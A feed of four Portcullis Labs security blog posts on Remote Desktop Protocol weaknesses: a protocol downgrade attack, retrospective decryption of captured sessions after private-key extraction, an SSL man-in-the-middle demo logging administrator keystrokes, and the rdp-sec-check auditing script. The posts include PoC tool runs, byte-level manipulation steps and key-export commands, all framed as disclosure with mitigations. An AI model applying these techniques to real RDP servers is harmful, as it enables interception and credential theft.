Downgrading RDP connections and how to avoid it https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/ https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/#comments Fri, 22 Apr 2016 15:18:17 +0000 https://labs.portcullis.co.uk/?p=1488 This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely. We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here. […]

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely.

We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here.  We suspect that it’s a known limitation of the protocol.  But it’s one that we though would be interesting to post about.

In this post we provide a demonstration of such a downgrade attack using the aptly named PoC tool rdp-downgrade.py.

RDP Security Layer

Before discussing the downgrade attack, we should outline what we’ll be downgrading from and to.

The following Security Layers are available in the RDP protocol. Support for each can be configured on the Terminal Server:

  • Classic RDP Protocol - this is known as “RDP Security Layer” in the tscc.msc configuration tool and PROTOCOL_RDP in the protocol specification (see page 40 of PDF)
  • SSL - this is labelled “SSL” or “SSL (TLS 1.0)” in the GUI and called PROTOCOL_SSL in the protocol specification
  • CredSSP - this is what you get when you check the ”Network Layer Authentication” box. It also uses uses SSL. It is called PROTOCOL_HYBRID in protocol specification

The first option is the insecure one. If this protocol were to be negotiated, the connection would be vulnerable to a well known “Man-In-The-Middle” attack.  Essentially, someone carrying out this attack would be able to see all your key strokes and any other data passed between client and server. This will therefore be the protocol we’ll be downgrading to.

The last two options are both SSL-wrapped and are more secure.  It will be these protocols that we’ll be downgrading from.

How to tell which security layer you connected with

The various warnings displayed by the Terminal Services client, mstsc.exe can be used as a crude way to identify which protocol is being used.

Classic RDP

Note that the warning message about not being able to authenticate the server tallies with the MiTM attack described above.

classic-rdp
image-1489

Warning For Classic RDP Connections

SSL

Unless you’ve configured your host to trust the SSL certificate of the RDP server, you’ll see a certificate warning like this one:

ssl-warning
image-1490

Warning for (Non-CredSSP) SSL Connections

CredSSP (NLA + SSL)

You get prompted for your username and password by a pop-up window – whereas Classic RDP and SSL both use a full Windows Desktop for password entry.

gaejegba
image-1491

Dialogue Box For NLA Connections

Vulnerable configuration

Terminal Servers set to negotiate their Security Layer are potentially vulnerable to a downgrade attack. Here we view the settings on a Windows 2003 server, but this also holds for newer versions of Windows:

2003-rdp-setting-vulnerable
image-1492

The downgrade attack

We will connect to a Windows 2003 RDP server configured to “Negotiate” its Security Layer.  We’ll connect from a modern windows system that supports Classic RDP, SSL and NLA. This server only supports Classic RDP and SSL. As we’d hope, the two will normally negotiate the most secure option supported by both: SSL.

During this attack we will modify network traffic to make the server believe the client only supports Classic RDP. We could intercept traffic using ARP-poisoning or DNS spoofing or some other method.

After connecting to TCP port 3389, the client (mstsc) sends data similar to the following (shown in hex):

03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03* 00 00 00

The 03 is the protocols supported by the client. Several values are possible in this position:

  • 00 – Only Classic RDP is supported
  • 01 – SSL is supported in addition to Classic RDP.
  • 03 – CredSSP is supported in addition to the other two protocols.

This is described on page 37 of the protocol specification.

So our proof-of-concept simply replaces the 03 with 00 to cause the client and server to negotiate Classic RDP instead of SSL.

We set our tool listening on 192.168.190.170 on TCP port 3389. We instruct it to forward traffic to 192.168.2.96.

$ python rdp-downgrade.py 192.168.2.96
[Proxy] Listening for connections on 0.0.0.0:3389

Rather than actually doing ARP-spoofing, I just connect directly to the “Man-In-The-Middle” in this demo:

rdp-attack-prior-to-logon
image-1493

Attacker IP Address Is Entered

Back in our PoC tool, we then see an incoming connection from the RDP client (192.168.190.1) and the proxy making an outgoing connection to the target server:

[Proxy] Incoming connection from 192.168.190.1:58715
[Proxy] New outgoing request to 192.168.2.96:3389
[Proxy] Connected

Next we see 19 bytes from the client – note the 03 near the end of the data from the client. This is recognised by our PoC tool and it prints a message to inform us the 03 has been changed to 00:

[From 192.168.190.1] Received 19 bytes
0000 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ................
0010 00 00 00 ...
[From 192.168.190.1] Modified data to downgrade connection

Then we see traffic flow freely without further modification:

[From 192.168.2.96] Received 19 bytes
0000 03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 00 .........4......
0010 00 00 00 ...
...snip...

mstsc shows us the warning message corresponding to a Classic RDP connection, proving that the downgrade has been successful – remember that we would normally expect a certificate warning for the SSL-wrapped RDP connection.

classic-rdp
image-1489

Warning Message For Classic RDP Connection

Conclusion

Configuring the Terminal Server to use SSL for it security layer instead of “Negotiate” prevents such a downgrade attack.

Vendor contact

We were not sure if Microsoft would consider this worthy of a security advisory. We didn’t think so, but sent them a preview of this post before publishing and asked.

Microsoft who responded swiftly to confirm that “After researching the issue, we consider this behavior to be By Design”. They thanked us for our commitment to co-ordinated disclosure and gave their blessing to proceed with publication.

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/feed/ 0
Retrospective decryption of SSL-encrypted RDP sessions https://labs.portcullis.co.uk/blog/retrospective-decryption-of-ssl-encrypted-rdp-sessions/ https://labs.portcullis.co.uk/blog/retrospective-decryption-of-ssl-encrypted-rdp-sessions/#comments Thu, 13 Mar 2014 06:39:51 +0000 https://labs.portcullis.co.uk/?p=1520 This post describes how network eavesdroppers might record encrypted RDP sessions and at some later time (after a server compromise) be able to decrypt them. This could expose any data sent over the RDP connection including keystrokes, usernames and passwords. Put in more technical language: This post is about Perfect Forward Secrecy, how SSL connections often lack […]

The post Retrospective decryption of SSL-encrypted RDP sessions appeared first on Portcullis Labs.

]]>
This post describes how network eavesdroppers might record encrypted RDP sessions and at some later time (after a server compromise) be able to decrypt them. This could expose any data sent over the RDP connection including keystrokes, usernames and passwords.

Put in more technical language: This post is about Perfect Forward Secrecy, how SSL connections often lack this desirable security property, that RDP uses SSL and therefore could also be vulnerable to retrospective decryption.

Recording encrypted RDP connections with Wireshark

I simply started recorded all traffic on my ethernet interface, then connected to an RDP server using mstsc and entered a password. I stopped the capture straight after entering a password.

How to tell if your RDP session is vulnerable

If you first “Analyze | Follow TCP Stream” for the TCP port 3389 traffic, then “Analyze | Decode As… | SSL”, Wireshark will show you the SSL Server Hello message. Check if it’s an RSA-based cipher suite.  If it is, this post applies to your RDP session and will show you how to decrypt it.

ServerHello showing the SSL cipher suite

ServerHello showing the SSL cipher suite

Note that I’ve only tried this for plain SSL-based RDP connection – as opposed to CredSSP (SSL+NLA) connections, so YMMV.

On with the decryption…

Extracting private SSL keys for service certificates

Following a compromise of a server, an attacker with administrator level privileges could simply extract the private keys used for server authentication from the certificate store.

The geocerts site provides as good a walkthrough of how to do this as any other. The certificate used by the Terminal Server are in the “Personal” or “Remote Desktop” certificate store for the “Computer Account”. Simply use MMC’s “Certificates” plugin to export the private key for the SSL certificate. I exported in .pfx format, which requires you to set a password.

I’m using Windows 2003 Server for this demo. I’m aware that extracting the required certificates from later versions of Windows is harder. This is left as an exercise for the reader. :-)

Converting from .pfc to .pem

In order to decrypt the SSL traffic we’ll use Wireshark which requires the private key to be in PEM format (.cer here). Simply convert using this OpenSSL one-liner:

$ openssl pkcs12 -in server-cert.pfx -out server-cert.cer -nodes

Decrypting traffic with Wireshark

Although Wireshark is slightly awkward to use for the decryption of SSL traffic, it worked first time for me using this tutorial.

I specified the RSA key list as:

192.168.2.96,3389,rdp,/tmp/server-cert.cer

It was then possible to see all the cleartext traffic in Wireshark.  In the “Follow TCP Stream” dialogue, I selected hexdump and scrolled down quite a long way. I was looking for a lot of short messages that corresponded to the keystrokes of the password I entered.

Keystrokes on the wire

Keystrokes on the wire

Shown in red are the messages from the RDP client. We’ll inspect each of the 4-byte message starting “44 04 00″. These correspond to keys being pressed down – as opposed to “44 04 01″ which are keys being released.

The first message of interest is:

44 04 00 2a

Then (omitting a few that aren’t interesting):

44 04 00 19
44 04 01 2a
44 04 00 1e
44 04 00 1f
44 04 00 1f
44 04 00 11
44 04 00 18
44 04 00 13
44 04 00 20
44 04 00 02

In each case the last of the 4 bytes in the key scan code.  If we look up each in turn we find:

44 04 00 2a is Left-Shift-Down
44 04 00 19 is P
44 04 01 2a is Left-Shift-Up
44 04 00 1e is A
44 04 00 1f is S
44 04 00 1f is S
44 04 00 11 is W
44 04 00 18 is O
44 04 00 13 is R
44 04 00 20 is D
44 04 00 02 is 1

Making the password `Password1′ when we take account of the position of the SHIFT key.

Conclusions

The ability for an attacker to retrospectively decrypt SSL traffic can be undesirable in some (fairly unlikely) circumstances. This is not an unusual or isolated example. A great many HTTPS web sites are prone to the same issue.

This is not a vulnerability in the traditional sense. It rather raises the impact any vulnerability that allows an attacker to steal the private SSL key – at which point all security claims are naturally null and void anyway.

Actually, it’s interesting to review the lack of perfect forward secrecy against Microsoft’s definition of a security vulnerability. It does not seem to fit the definition. If lack of forward secrecy does indeed present a problem, the problem results ”from adhering to imperfect but widely accepted standards”.

Disabling support for RSA as the Key Exchange Algorithm is the usual remedy for this SSL issue. However, I haven’t been able to find a working solution on Windows 2003. I did experiment with setting this registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms\PKCS\Enabled = 0  (don't do this)

after reading KB245030. However, I only succeeded in preventing RDP connections entirely!

The post Retrospective decryption of SSL-encrypted RDP sessions appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/retrospective-decryption-of-ssl-encrypted-rdp-sessions/feed/ 0
SSL “Man-In-The-Middle” attacks on RDP https://labs.portcullis.co.uk/blog/ssl-man-in-the-middle-attacks-on-rdp/ https://labs.portcullis.co.uk/blog/ssl-man-in-the-middle-attacks-on-rdp/#comments Tue, 04 Mar 2014 09:30:49 +0000 https://labs.portcullis.co.uk/?p=1510 This post seeks to demonstrate why users learning to ignore those certificate warnings for SSL-based RDP connection could leave them open to “Man-In-The-Middle” attacks. The MiTM attack demonstrated displays keystrokes sent during an RDP session. We conclude with some advice on how to avoid being the victim of such an attack. Types of RDP connections […]

The post SSL “Man-In-The-Middle” attacks on RDP appeared first on Portcullis Labs.

]]>
This post seeks to demonstrate why users learning to ignore those certificate warnings for SSL-based RDP connection could leave them open to “Man-In-The-Middle” attacks. The MiTM attack demonstrated displays keystrokes sent during an RDP session. We conclude with some advice on how to avoid being the victim of such an attack.

Types of RDP connections

Before we start, let’s first clarify which of the various RDP connection types this post is about. There are 3 types of connection:

  • RDP Security Layer
  • SSL (TLS 1.0)
  • CredSSP (SSL with NLA)

It’s the middle one we’ll demonstrate an attack on in this post. On the Terminal Server, SSL is configured like this (with any NLA checkboxes unticked):

RDP configuration used

RDP configuration used

2003-rdp-setting-not-vulnerable
image-1511

RDP configuration used

Some connections may also be vulnerable if the server is set to “Negotiate” its Security Layer to – as that could result in SSL being used.

SSL certificate warning

If users are used to dismissing a warnings like this one each time they connect, then this post is relevant to them:

ssl-warning
image-1512

SSL warning that should not be routinely ignored

Attack overview

At a high level, the attack will proceed in a similar way to any SSL MiTM attack:

  1. Have the victim connect to a PoC tool (rdp-ssl-mitm.py) on our system instead of the RDP server they’re trying to reach
  2. Using the RDP protocol, our tool will negotiate the use of SSL
  3. At the point the connection is upgraded to SSL, our tool will negotiate an SSL connection with the RDP client using its own (untrusted) SSL certificate. This will give our tool access to data sent by the RDP client in cleartext
  4. Our tool also needs to create an SSL connection with the legitimate RDP server down which it will send data from the RDP client

The only complication to this attack is that our tool has to talk the RDP protocol briefly before creating the required SSL connections.

1. Having the victim connect to us

In a real attack, we’d need to have the RDP client connect to our system instead of the target server. This could be achieved using ARP spoofing, DNS spoofing or some other method. Rather than cloud the demonstration with such details, we’ll assume this is step is possible and just type the IP address of the attacker system into the victim RDP client.

On our attacker system (192.168.190.170), we start our PoC tool. We tell it forward connections to the legitimate RDP server 192.168.2.96:

$ ./rdp-ssl-mitm.py -r 192.168.2.96:3389
[+] Listening for connections on 0.0.0.0:3389

And we simply enter the IP address of the attacker system into the RDP client (the client connects from 192.168.190.1):

rdp-attack-prior-to-logon
image-1513

We enter the attacker IP address to avoid the complexity of ARP spoofing

2. Talk RDP to the client to negotiate the use of SSL

The negotiation of SSL is quite short within the RDP protocol:

Message #1: Client > MiTM > Server

03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03*
00 00 00

This message is fairly static and our tool just passes it through to the server unaltered. The *03* means that the client supports RDP Security Layer, SSL and CredSSP.

Message #2: Server > MiTM > Client

03 00 00 13 0e d0 00 00 12 34 00 02 00 08 00 *01*
00 00 00

In the next message the server chooses the protocol to use. The *01* in this case means the the server has chosen SSL (not CredSSP which would be *02*). Again, we pass this message back to the client unaltered.

Note that if the server were to select CredSSP (*02*), then the demonstration would fail. We’re attacking SSL, not CredSSP.

3. Create SSL connection with RDP client

Message #3: Client > MiTM

The 3rd message is the start of an SSL connection. Here is the SSL Client Hello message beginning *16 03 01*… (03 01 being the version of SSL used: SSL 3.1 AKA TLS 1.0).

*16 03 01* 00 5a 01 00 00 56 03 01 52 21 ac be 63
20 ce de 4b a5 90 18 f0 66 97 ee 9d 54 14 e3 1c
... snip ...

Our tool does not forward this data directly to the server. Instead it responds with a “SSL Server Hello” message and proceeds to complete the SSL connection with the client.

The SSL certificate we present to the RDP client is issued to fred and this is displayed in the mstsc SSL warning shown to the user:

fred
image-1514

The certificate presented by our PoC tool causes this security warning

The details of the SSL certificate differ to those the user would normally see – if the user were to check. To refine the attack we could make the certificate details match more closely, but we’d never get the signature to be the same as the normal certificate, so there’d always be a difference.

4. Create SSL connection with RDP server

Simultaneously, our tool also sends and SSL Client Hello to the RDP server and creates a second SSL connection.

Displaying key strokes

Our tool is now in a position to display the cleartext messages about keystrokes (for example) sent by the RDP client. It is relatively easy to determine what sort of message is sent when a key is pressed. The following two 4-byte messages are sent when the ‘p’ key is pressed:

44 04 00 19
44 04 01 19

The 3rd byte is the direction of key (00 means key-down, 01 means key-up).  The 4th byte is the key scan code.  If we look up 0×19 we find it corresponds to the p key.

In the general case, the scan-code to character mapping depends which keyboard you’re using. In the PoC tool I implemented the mapping for for QWERTY keyboards, so if you have a UK/US keyboard, it should translate the majority of scan-codes to the correct characters. Note that we don’t get know whether characters are uppercase or lowercase. We’d have to manually track the status of CAPS Lock and SHIFT keys.

Without getting too bogged down in the details, here’s some sample output from the PoC tool that shows keystrokes being logged – in particular an administrator logging in with username Administrator, password Password:

$ ./rdp-ssl-mitm.py -r 192.168.2.96:3389 
[+] Listening for connections on 0.0.0.0:3389
[+] Incoming connection from 192.168.190.1:60370
[+] New outgoing request to 192.168.2.96:3389 (SSL: 0)
[+] Connected
[+] Detected incoming SSL connection. Turning self into SSL socket
[+] Incoming connection from 192.168.190.1:60374
[+] New outgoing request to 192.168.2.96:3389 (SSL: 0)
[+] Connected
[+] Detected incoming SSL connection. Turning self into SSL socket
<LShift-down>A<LShift-up>DMINISTRATOR<Tab><LShift-down>P<LShift-up>ASSWORD<Enter>

Conclusions

Learning to ignore SSL certificate warnings is as bad for RDP connection as it is for HTTPS web sites. The results are similar: users quickly become vulnerable to “Man-In-The-Middle” attacks. Such attacks can harvest usernames, passwords, keystrokes and other sensitive data.

Using SSL certificates that are signed by a Certificate Authority the RDP client trusts will result in no warning under normal operation, so is highly recommended.

This attack doesn’t work if the server mandates NLA, so using NLA is also highly recommended.

It’s important to note that this isn’t a vulnerability in the RDP Client or Server software. Nor is this a  new discovery. It’s a weakness in way RDP is sometimes used which stems from users ignoring security warnings. At a technical level, this is a fairly vanilla SSL MiTM attack.

It might be interesting to extend this work by recording screen captures; or by injecting images of login boxes to encourage users to part of with other credentials. There would also be an opportunity to attack any drives that the RDP client has mapped for drive redirection – see Attacking the RDP Clients for inspiration. These would be pretty demanding coding challenges, though!

The post SSL “Man-In-The-Middle” attacks on RDP appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/ssl-man-in-the-middle-attacks-on-rdp/feed/ 0
rdp-sec-check https://labs.portcullis.co.uk/tools/rdp-sec-check/ https://labs.portcullis.co.uk/tools/rdp-sec-check/#comments Wed, 12 Feb 2014 11:14:44 +0000 http://wordpress.65535.com/blogtest/?p=193 rdp-sec-check is a Perl script to enumerate security settings of an RDP Service (AKA Terminal Services). Key features Support for targets file Support for saving the tool output to a specified logfile Control over the connection and responses timeouts Control over the number of retries when timeouts occurs Overview rdp-sec-check is a Perl script to […]

The post rdp-sec-check appeared first on Portcullis Labs.

]]>
rdp-sec-check is a Perl script to enumerate security settings of an RDP Service (AKA Terminal Services).

Key features

  • Support for targets file
  • Support for saving the tool output to a specified logfile
  • Control over the connection and responses timeouts
  • Control over the number of retries when timeouts occurs

Overview

rdp-sec-check is a Perl script to enumerate the different security settings of an remote destktop service (AKA Terminal Services).

It does not require authentication, only network connectivity to TCP port 3389.

It can determine many (though not quite all) of the security settings from the RDP-Tcp Properties | General tab:

  • Check which security layers are supported by the service: Standard RDP Security, TLSv1.0, CredSSP
  • For Standard RDP Security it detects the level of encryption supported: 40-bit, 56-bit, 128-bit, FIPS

The following potential security issues are flagged if present:

  • The service supports Standard RDP Security – rhis is known to be vulnerable to an active “Man-In-The-Middle” attack
  • The service supports weak encryption (40-bit or 56-bit)
  • The service does not mandate Network Level Authentication (NLA) - NLA can help to prevent certain types of Denial of Service attack
  • The service supports FIPS encryption but doesn’t mandate it – may only be interesting for jurisdictions where FIPS is required

Requirements

rdp-sec-check is a simple Perl script that requires one module from CPAN. Run ‘cpan’ as root then install the Encoding::BER module:

# cpan
cpan[1]> install Encoding::BER

Example output 1: An old Windows 2000 RDP service

$ rdp-sec-check.pl 10.0.0.94
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:34:38 2012

Target:    10.0.0.94
IP:        10.0.0.94
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Negotiation ignored - old Windows 2000/XP/2003 system??

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Not supported

[+] Summary of protocol support

[-] 10.0.0.94:3389 supports PROTOCOL_RDP   : TRUE
[-] 10.0.0.94:3389 supports PROTOCOL_HYBRID: FALSE
[-] 10.0.0.94:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.94:3389 has encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_40BIT  : TRUE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_128BIT : FALSE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_56BIT  : TRUE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_FIPS   : FALSE

[+] Summary of security issues

[-] 10.0.0.94:3389 has issue NLA_NOT_SUPPORTED_DOS
[-] 10.0.0.94:3389 has issue ONLY_RDP_SUPPORTED_MITM
[-] 10.0.0.94:3389 has issue WEAK_RDP_ENCRYPTION_SUPPORTED

rdp-sec-check v0.8-beta completed at Mon Jul  9 13:34:39 2012

Example output 2: A Windows 2003 SP0 RDP service

$ rdp-sec-check.pl 10.0.0.93
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:35:34 2012

Target:    10.0.0.93
IP:        10.0.0.93
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Negotiation ignored - old Windows 2000/XP/2003 system??

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE

[+] Summary of protocol support

[-] 10.0.0.93:3389 supports PROTOCOL_RDP   : TRUE
[-] 10.0.0.93:3389 supports PROTOCOL_HYBRID: FALSE
[-] 10.0.0.93:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.93:3389 has encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_40BIT  : TRUE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_128BIT : TRUE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_56BIT  : TRUE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_FIPS   : TRUE

[+] Summary of security issues

[-] 10.0.0.93:3389 has issue NLA_NOT_SUPPORTED_DOS
[-] 10.0.0.93:3389 has issue FIPS_SUPPORTED_BUT_NOT_MANDATED
[-] 10.0.0.93:3389 has issue ONLY_RDP_SUPPORTED_MITM
[-] 10.0.0.93:3389 has issue WEAK_RDP_ENCRYPTION_SUPPORTED

Example output 3: A typical Windows 2003 RDP service

$ rdp-sec-check.pl 10.0.0.111
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:36:56 2012

Target:    10.0.0.111
IP:        10.0.0.111
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Supported
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Not supported - SSL_NOT_ALLOWED_BY_SERVER
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Not supported - SSL_NOT_ALLOWED_BY_SERVER

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE

[+] Summary of protocol support

[-] 10.0.0.111:3389 supports PROTOCOL_RDP   : TRUE
[-] 10.0.0.111:3389 supports PROTOCOL_HYBRID: FALSE
[-] 10.0.0.111:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.111:3389 has encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_40BIT  : TRUE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_128BIT : TRUE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_56BIT  : TRUE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_FIPS   : TRUE

[+] Summary of security issues

[-] 10.0.0.111:3389 has issue NLA_NOT_SUPPORTED_DOS
[-] 10.0.0.111:3389 has issue FIPS_SUPPORTED_BUT_NOT_MANDATED
[-] 10.0.0.111:3389 has issue ONLY_RDP_SUPPORTED_MITM
[-] 10.0.0.111:3389 has issue WEAK_RDP_ENCRYPTION_SUPPORTED

rdp-sec-check v0.8-beta completed at Mon Jul  9 13:36:56 2012

Example output 4: A well configured Windows 2008 RDP service

$ rdp-sec-check.pl 10.0.0.21
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:32:30 2012

Target:    10.0.0.21
IP:        10.0.0.21
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Supported

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Not supported

[+] Summary of protocol support

[-] 10.0.0.21:3389 supports PROTOCOL_RDP   : FALSE
[-] 10.0.0.21:3389 supports PROTOCOL_HYBRID: TRUE
[-] 10.0.0.21:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_40BIT  : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_128BIT : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_56BIT  : FALSE
[-] 10.0.0.21:3389 supports ENCRYPTION_METHOD_FIPS   : FALSE

[+] Summary of security issues

rdp-sec-check v0.8-beta completed at Mon Jul  9 13:32:31 2012

The latest version of the code will be maintained on github. Older versions are available below.

The post rdp-sec-check appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/tools/rdp-sec-check/feed/ 0